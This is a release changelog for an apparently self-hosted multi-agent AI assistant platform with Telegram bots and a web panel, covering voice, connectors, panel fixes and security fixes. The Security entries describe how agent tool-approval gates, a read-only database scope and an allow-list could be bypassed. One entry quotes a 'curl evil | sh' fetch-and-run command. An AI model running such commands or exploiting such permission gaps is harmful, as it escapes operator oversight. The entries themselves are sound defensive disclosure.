  • Lead wizard now respects the configured language: the generation prompt was hardcoded English regardless of defaultLanguage and never populated the per-worker language field, so generated Leads kept running in English. It now writes human-readable fields in the configured language and stamps the new worker's language to match. (61d53fd)
  • Dev watcher skips a redundant panel pre-build when panel/dist already exists, speeding up npm run dev startup. (370d52a)
v0.6.21 new · 1 changed · 7 fixed · 3 security
Added
  • Configurable OpenAI/xAI-compatible voice providers: STT/TTS engine, provider, model, and voice are now settable from the panel (Settings → Voice, GET|PUT /api/voice), each falling back to the matching .env var when unset. Credentials for the openai/xai engines can link to a vault-backed purpose: "voice" Provider instead of .env, so a free-tier OpenAI-compatible STT key and a separate xAI TTS key can coexist. Voice model fields use the same live-fetch ModelSelect picker as the Claude model fields instead of a plain OpenAI-only text input. (34e3ea1)
Changed
  • Voice replies now mirror voice input, not the /voice toggle alone: a spoken reply is added only when the triggering message was itself a voice note and /voice is on; a typed message always gets a typed-only answer even with voice mode on. The text reply is always sent regardless — voice is additive, never a replacement — so the conversation follows how the president is actually talking instead of a blanket mode switch. (cdb10c6, 2073df9)
Fixed
  • Silently-dropped voice and Telegram-send failures now reach the user: a TTS synthesis or delivery failure (a model pending provider terms acceptance, VOICE_MESSAGES_FORBIDDEN from a recipient's Telegram privacy settings, or any other error) used to only log a warning and drop the reply; the chat now gets a short notice explaining what happened, with the acceptance URL when relevant. Extended the same treatment to AskUserQuestion posting failures (falls back to a plain-text notice instead of leaving the SDK turn silently defaulted) and inline-search failures (a visible warning instead of a result set indistinguishable from "no matches"). (46afddd, 85212c8, d8499fe)
  • TTS backend assumed Opus support across all OpenAI-compatible providers: the openai TTS backend hardcoded response_format: "opus", which Groq's /audio/speech (and likely other compatible providers) rejects — the request failed and was silently swallowed into a text-only fallback. Now requests WAV like the piper/xai backends and transcodes to Opus locally via the existing ffmpeg path. (12095bf)
  • Panel tsc --noEmit errors: two pre-existing type errors (a push-subscription BufferSource mismatch, a renotify field missing from the in-use DOM lib types) are cleared; the panel typechecks clean. (2b2c7e2)
  • Panel WebSocket resync, socket leaks, and optimistic-update bugs: the connection-health socket could leak a second live connection on tab-wake (a late onclose scheduling a retry without detaching the prior socket first); chat/agent-chat/task/worker views now re-sync their REST state on every (re)connect instead of only reflecting frames received while connected, so a backend restart or socket gap no longer leaves transcript holes or cards stuck "running". The autonomy selector rolls back on a failed save instead of showing a level the server never accepted; rapid card-title Enter+blur can no longer create duplicate cards; object URLs in Memory/Gallery are revoked deferred so they can't abort an in-flight download; the service worker's API cache is purged on sign-out. (6a07169)
  • Deployment-script robustness and Windows CLI invocation: npm run dev's watcher now spawns tsx through a shell on Windows (it's a .cmd shim) instead of crashing; the systemd unit gains a crash-loop backoff limit and quotes Environment/ExecStart values with spaces; the launchd unit's KeepAlive only relaunches on a crash or nonzero exit, not a clean graceful-shutdown exit; the installer's ngrok apt key is scoped with signed-by instead of trusted globally; Claude usage/token-refresh probing invokes claude.cmd through a shell on Windows instead of silently reporting logged-out. (55ab1e0)
  • Stale git-review and project buttons could act on the wrong target: /diff Commit/Discard buttons now carry a review id bound at render time to the repo the diff was shown for, instead of acting on the session's current cwd — a stale button tap after /cd or a restart reports expired rather than committing/discarding the wrong working tree. /projects buttons key on a content hash of the path instead of array index, so a changed list can't make a press switch to or remove the wrong directory. (28a50b9)
  • Medium-severity correctness and data-integrity fixes: a corrupt JSON store is now quarantined to <file>.corrupt-<ts> before the next save can overwrite it (was silent data loss); autonomous runs left "running" by a crash reconcile to "error" on boot; a card blocked on a prerequisite is released as soon as that prerequisite reaches Done/Archive instead of waiting on an unrelated run; askQuestion resolves with the default answer if the question can't even be posted (was blocking the SDK turn forever); the Haiku memory-consolidation pass is now bounded to the current batch with a drop cap; a finalize failure can no longer discard a turn's usage accounting; switching an agent's backend now resets its stored session id so codex/grok don't fail resuming a stale Claude UUID; a Telegram bot-token redaction pattern that never matched inside a request URL now does; a billing-period start date computed from local calendar components instead of UTC, fixing a one-day-early period start in UTC+ zones. (a774a98)
Security
  • Privilege-escalation and crash paths closed: Lead bots now honour their own autonomy level for tool approval instead of always running with every tool auto-approved (must be full to run Bash/Write/Edit); council votes and the auto-reflection pass run in permission-checked default mode instead of bypassPermissions (the read-only gate was previously a no-op); crew_delegate caps a child run's autonomy at the caller's own so a lower-privilege caller can't escalate through the delegation chain; a Postgres "read-only" connector scope was bypassable via a data-modifying CTE or SELECT … INTO (the app-level check only looks at the leading keyword) and read tools now additionally run inside a BEGIN TRANSACTION READ ONLY; the "always allow <cmd>" Bash preset matched only the first token, so a grant for git also auto-approved git status; curl evil | sh — it now refuses any command containing shell metacharacters or newlines; MYHQ_YES=1 unattended installs no longer auto-accept a default-No "reconfigure existing .env?" prompt (was silently wiping saved credentials); a Lead bot no longer wedges "busy" forever if streamer setup throws, and an unhandled rejection from the legacy edit streamer's timer flush (e.g. a Telegram 429) no longer crashes the process. (bf21a0e)
  • Panel DoS surface, CSP token-exfiltration gap, and webhook replay: the global request body limit dropped from 64MB to 1MB (raised per-route only where needed) so the public, unauthenticated POST /hook/:id can't force huge body buffering + HMAC work, and that route is now rate-limited per IP; the panel's CSP connect-src is pinned to 'self' instead of the bare ws:/wss: schemes, which matched any host and let injected script exfiltrate the panel token over an attacker-controlled WebSocket; webhook triggers now reject a replayed signature within a 10-minute window so an observed signed delivery can't be re-fired repeatedly (each fire spawns an autonomous run). (92efaaf)
  • Telegram-layer robustness and connector injection/SSRF hardening: unescaped </>/& in /pwd, /cd, /status, and /council output were 400ing the Telegram send and losing the reply, now HTML-escaped; a crafted loop-choice callback could silence the loop guard for the rest of a turn, now whitelisted with a safe default; i18n placeholder substitution is now single-pass so an early-substituted value can't consume a later {placeholder}; approval/ask/loop callback resolution is scoped to the pressing chat; an unsupported DEFAULT_LANGUAGE now falls back to English instead of propagating an invalid code into the prompt. Gmail To/Cc/Bcc/Subject strip CR/LF (header injection); Apple Calendar's iCal builder escapes VEVENT text fields (property injection); Google Drive multipart uploads use a random boundary; image-generation downloads and the local Automatic1111 base URL now route through the SSRF-guarded fetch instead of plain fetch. (a69eeff)
v0.6.12 new · 9 fixed · 1 security
Added
  • Multi-backend agents: any Lead/worker (or Atlas himself) can now run on xAI's Grok CLI or OpenAI's Codex CLI instead of the Claude Agent SDK, via a new AgentBackend registry (src/core/backends.ts) every real call site resolves through. Each backend wraps that provider's own agentic CLI product — its tool belt, sandboxing, and permission modes — rather than reimplementing a tool-calling loop from scratch. Grok's --output-format streaming-json gives text streaming and session resume but no tool-call visibility or usage data; Codex's exec --json event stream additionally exposes real tool-call events and token usage. Claude remains the default everywhere; switching is a hidden/advanced option — /model <backendId> (or <backendId>:<model>) in Telegram, or a small "AI backend" selector next to Provider/Model in the panel's Settings and Worker form, which clears and hides Model/Provider when a non-Claude backend is picked so an invalid pairing (e.g. backendId=codex-cli with a stale Claude model id) can't happen. (48b0262, ab997ae, 61dafac, 6d9b6f6, 830f6b6)
  • xAI voice backend: TRANSCRIBE_PROVIDER=xai and TTS_PROVIDER=xai add xAI's /v1/stt and /v1/tts endpoints alongside the existing openai/vosk/piper backends, sharing one XAI_API_KEY. A Telegram voice note's raw OGG/Opus bytes go straight to /v1/stt (one of xAI's auto-detected container formats); TTS requests WAV output since xAI has no Opus/OGG codec, so replies go out as an audio file like the Piper backend rather than a true voice note. (e91e299)
Fixed
  • Crew replies could resolve the wrong agent's question: crew_ask_president's pending-question registry was keyed only by chat id, but a private Telegram chat shares the same numeric id across every bot token — with more than one Lead (or a Lead and Atlas) blocked waiting on a reply at once, a user's answer could resolve the wrong one's question. Now scoped by (chatId, agentId). (f053b11)
  • Duplicate Lead bot instances: LeadBotManager.sync() had no reentrancy guard, so overlapping calls from boot, workers.onChange, and the 60s watchdog could race to spawn two Telegraf pollers (and two SessionManagers) for the same not-yet-tracked Lead. sync() calls are now serialized through a queue. (f053b11)
  • Scheduled prompts could double-fire: ScheduleManager.tick() had no in-flight guard, unlike HeartbeatManager, so a slow tick could overlap the next and fire the same due schedule twice. (f053b11)
  • Audit log unbounded growth: audit.jsonl grew forever and every search/facet/anomaly read re-parsed the entire history. Switched to day-sharded files under data/audit/ (mirroring logs/ and data/runs/) with a 90-day retention window and a one-time migration of any existing flat file; searches now skip whole shards older than the requested lookback. (a13d53f)
  • Memory store write amplification: a recall-hit bump (useCount/lastUsedAt) fired on nearly every turn and rewrote the entire memory store — including every entry's embedding vector — each time. That persist is now debounced (5s); explicit mutations still save immediately. (a13d53f)
  • schedules.json permissions: brought in line with every sibling store in data/ (owner-only 0600), instead of inheriting the process umask. (a13d53f)
  • PANEL_API.md examples that didn't match the real API: five curl examples used wrong field names or URL shapes for task/column endpoints and /api/approvals/resolve; also documented five previously-undocumented routes (task queue controls, /api/chat/approve). (a13d53f)
  • Heartbeat config normalization only ran on update: a persisted legacy config (missing anomaly, calendarEnabled, spendAlertEnabled, etc.) could carry undefined fields until the first write, since the backfill only ran inside setConfig(). Extracted into a shared normalizeConfig() called from both the constructor and setConfig(). (39a97be)
  • Dev watcher double-restart loop: the bot's clean process.exit(0) on SIGTERM reports signal:null to Node, not "SIGTERM", so the crash-backoff handler treated every planned restart as an unexpected crash too and queued a second, redundant restart on a growing backoff — an endless-looking restart loop with no actual code changes. (084b6a9)
Security
  • Panel brute-force lockout bypassed behind a tunnel/reverse proxy: Fastify had no trustProxy configured, so req.ip was always the raw socket peer — for tunneled traffic (the recommended remote-access path), that's the local relay process (127.0.0.1), not the real client, silently exempting every such request from the lockout. trustProxy now trusts X-Forwarded-For only from a loopback direct peer. (f053b11)
v0.6.06 new · 7 fixed
Added
  • Image generation connectors: text-to-image via Replicate, fal.ai, or a local Automatic1111 endpoint, wired as an imageGen MCP surface available to both delegated task runs and Lead bots. Generated images land in a persistent gallery with a dedicated panel Gallery view, and the providers get their own connector cards, icons, and en/hu i18n. (7e35933)
  • Jira Cloud and Linear connectors: two new issue-tracker integrations. Jira via REST v3 (email:api-token@site auth): list projects, JQL search, read issue, list/apply transitions, create, comment. Linear via GraphQL: list teams/projects/states, search and read issues, create, move state, comment. Both live, scope-gated, vault-backed, with brand icons, help copy, and en/hu i18n. (e43c7a8)
  • Audit log viewer and anomaly detection: the append-only action audit log is now a searchable panel view (filter by actor, resource, and action, with NDJSON export), folded in as a 4th tab of the Logs view. A deterministic anomaly detector scans the recent log for suspicious patterns (delete bursts, vault access outside working hours, new privileged grants) and raises findings through the heartbeat/Telegram alert path, configurable as an anomaly heartbeat signal. Routes: GET /api/audit/search, /api/audit/facets, /api/audit/anomalies. (83b0600, e0f76c0)
  • Skill export/import bundles: per-skill Export downloads a versioned myhq.skill JSON bundle (name, description, prompt, cwd); Import validates an untrusted bundle and installs it as a new skill, de-duping name collisions with an " (imported)" suffix. Routes: GET /api/skills/:id/export, POST /api/skills/import, audited, with en/hu i18n. (5ede569)
  • /ping and /team commands: /ping (Atlas and every Lead) answers "am I online?" instantly with idle/busy state, the current task, elapsed time, and process uptime. /team (Atlas) lists each Lead's live Telegram connection (online/offline) and busy/idle state, so users can see the crew's status instead of asking. (58a80cd)
  • Manual Lead restart route: POST /api/workers/:id/restart-bot forces a Lead's Telegram instance to restart on demand, for diagnosing a report without waiting on the 60s watchdog tick. (f93c286)
Fixed
  • Lead bots stopped reading messages while working: a Lead's message handlers awaited the entire turn, which blocks Telegraf's poll loop (it awaits each update batch before fetching the next) and, with handlerTimeout: Infinity, never released, so new messages sat unfetched until the turn ended. Turns now dispatch fire-and-forget so polling stays live and the busy guard can answer follow-ups. (58a80cd)
  • Busy-notice reliability: a failed "still busy" send could reject into the turn-lifecycle catch and clear the running turn's busy flag; busy notices are now fully fire-and-forget. Lead stale-session recovery no longer re-enters while still busy (which left the session stuck busy forever and leaked the typing interval). Busy notices now rotate their wording and always report the current task, elapsed time, and /stop + /ping hints. (58a80cd)
  • Lead bots auto-restart after a silent poll death: a Lead's Telegraf launch() can end on its own (most notably a 409 Conflict from a second poller on the same token) without the registry changing, leaving the entry lingering offline. LeadBot now tracks isRunning() and a 60s LeadBotManager watchdog treats a dead entry like a missing one and revives it. (59e8d91, f93c286)
  • Main bot self-heals its Telegram polling: instead of exiting on a 409 Conflict, the bot tries a few in-process relaunches with backoff (409s often self-resolve in seconds) before falling back to a full restart routed through graceful shutdown (drains in-flight turns, flushes sessions) with a nonzero exit so the service manager still restarts it. (95da9d1)
  • crew_set_bot_photo rejected valid avatars: telegraf 4.16.3's multipart builder silently dropped the profile-photo attachment, so Telegram returned "photo isn't specified" even with a valid PNG. Replaced with a direct native fetch + FormData request against the bot token, surfacing Telegram's rejection reason in the log. (dcf01fb)
  • Stale panel artifacts on dev start: npm run dev could serve leftover panel/dist chunks from a previous session because vite build --watch never re-empties the output dir. A predev hook now runs a clean build:panel before the watchers and bot start. (a7c0e73)
  • Oversized Sign Out button: the sidebar Sign Out button used larger spacing/text than its sibling nav items; normalized to match, and dropped two remaining hardcoded text-[10px] badges. (6b7afb7)
v0.5.910 new · 9 fixed
Added
  • Reusable prompt template library: templates with {{variable}} slots, saved in templates.json with full CRUD REST routes, surfaced as a panel management view, a chat composer quick-pick, and a /templates Telegram command. (4bb1ada)
  • Memory portable export/import: GET /api/memories/export (embeddings stripped) and POST /api/memories/import merge an exported dump, deduping by normalized text and passing the hot tier through the injection guard. Export/Import buttons added to the Memory panel. (0cc525e)
  • Telegram inline-mode search: an inline_query handler ranks the operator's own cards, skills, and memories with the shared hybrid semanticSearch and pastes the chosen item as a plain-text snippet; gated on the user-id allow-list directly since inline queries carry no chat context. (d920325)
  • Connector token expiry tracking: an optional OAuth/token expiry per connector with a derived freshness status (ok/expiring/expired, 3-day warn window), surfaced as badges and a datetime-local control in the Connectors panel with re-auth guidance, wired through PUT /api/connectors/:id. (c593c27)
  • Chat image upload: attach/drag-drop/paste images (jpeg/png/gif/webp) to Atlas and Lead chats with preview thumbnails, per-image and batch caps, and backend re-validation (magic-byte sniff, size/count limits) riding the existing vision path. (152e8f7)
  • Modern model picker: a portaled, always-open ModelSelect combobox replaces the old datalist across Settings (model + fallback) and Workers (wizard + edit); claude-fable-5 restored to the suggestion list and Telegram /model shortcuts. (152e8f7, ba8a065, 374f828)
  • Model alias map: retired model IDs (claude-sonnet-4-5/4-6) are silently upgraded to claude-sonnet-5 at the SDK call site in runner.ts, no restart or manual edit required; all quick-pick/suggestion surfaces and the installer wizard now reference Sonnet 5 directly. (e3c310b, 33a1867)
  • Per-Lead stream mode: Lead bots now select their streaming backend (rich/draft/edit) the same STREAM_MODE-aware way Atlas does, with a per-lead override dropdown in the Worker form, instead of always hardcoding the legacy edit streamer. (95bb4e7, 5e7e168, aadbb31)
  • Per-card delegate-to-Lead picker: task cards show a Lead picker next to "Delegate to agent" whenever more than one Lead is enabled, instead of only supporting per-lead choice from the bulk-select toolbar. (bd3c5b6)
  • Panel UX/a11y polish pass: standardized Skeleton loading states across Prompt/Heartbeat/RemoteAccess/Templates; a shared errorMessage() i18n mapping rolled out across ~20 views; a globally reachable keyboard shortcuts modal; a 4th selectable high-contrast theme; a clamp()-based fluid typography scale; extracted xterm theme fallbacks into lib/themeColors.ts. (ea6908c)
Fixed
  • Lead/worker identity leak: Lead and worker agents identified as "Atlas" in panel chat and autonomous runs because the Lead protocol block was appended after the fixed Atlas personality opener. A new workerIdentity param now replaces the opening identity block entirely for Leads. (b5d2173)
  • Stale session auto-recovery: when the Claude CLI rejects a resume token with "No conversation found," bot.ts, leadBot.ts, and agentChat.ts now detect it via a shared isStaleSession() helper, drop the stored token, notify the user, and automatically re-run the same prompt as a fresh turn, no manual /new required. (34e8b29)
  • Startup resilience: a transient ECONNRESET on Telegram getMe()/setMyCommands() at boot no longer kills the process (retry with backoff added); npm run dev's watcher now auto-restarts the bot on crash, not just on file changes. (60b83f5)
  • Overflowing role/portfolio badges: long portfolio strings (e.g. "Web design, UI, and illustration Lead") no longer overflow cards or push layout elements off-screen — truncation with hover tooltips applied across Crew node cards, Chat profile cards and bubbles, and the agent switcher/chat header. (7831bce, 708b009, fb0fe8a, aadbb31)
  • Sidebar overflow at high resolution: hard 2xl: breakpoint overrides stacked on top of the fluid clamp() type scale made nav rows too tall to fit the viewport on wide high-res displays, forcing scroll. Overrides removed; sidebar widens at 2xl instead, and nav items compact below 2xl on lower resolutions. (bd3c5b6, 1c48be8)
  • Model dropdown invisible / stuck on picked value: ModelSelect's options list, positioned absolute, was clipped by any ancestor with overflow-hidden (e.g. the Settings accordion) — now rendered via a document.body portal at a computed fixed position. Separately, picking a value made the list look "stuck" on that one match because the filter ran against the committed value; decoupled via an editing flag, plus a clear "×" button. Local providers no longer show the 4 hardcoded Anthropic suggestions. (ba8a065, 374f828)
  • StatusStrip covering page content: the global "what's running" strip covered the footer/content on every non-Chat page and popped in jerkily. Its height is now reserved at the shared <main> layout level (not just on Chat) with a smooth opacity/translate-y transition, staying briefly mounted instead of hard-unmounting. (d63378b)
  • Untranslated connector copy + invisible monochrome icons: the connector info modal's summary, credential label, setup steps, and tool labels were hardcoded English regardless of panel language; restructured into a shape manifest resolved via t() (en/hu), and the card grid's summary/credential hint reuse the same keys. Monochrome brand icons (Notion, GitHub, Apple Calendar/Mail, Unity, Unreal, SQLite) now render via currentColor so they stay visible on the Matrix and light themes. (09faa9d, e7bd477)
  • Misc panel fixes: duplicate floating "?" shortcuts button removed (the header "?" already opens the same modal); agent-chat tool-use now attributed to the correct agent in the Activity feed instead of showing unattributed; the transcript diff viewer's show/hide toggle is now translated (en/hu). (3ac608b, 8ef6cb1, 395561c)

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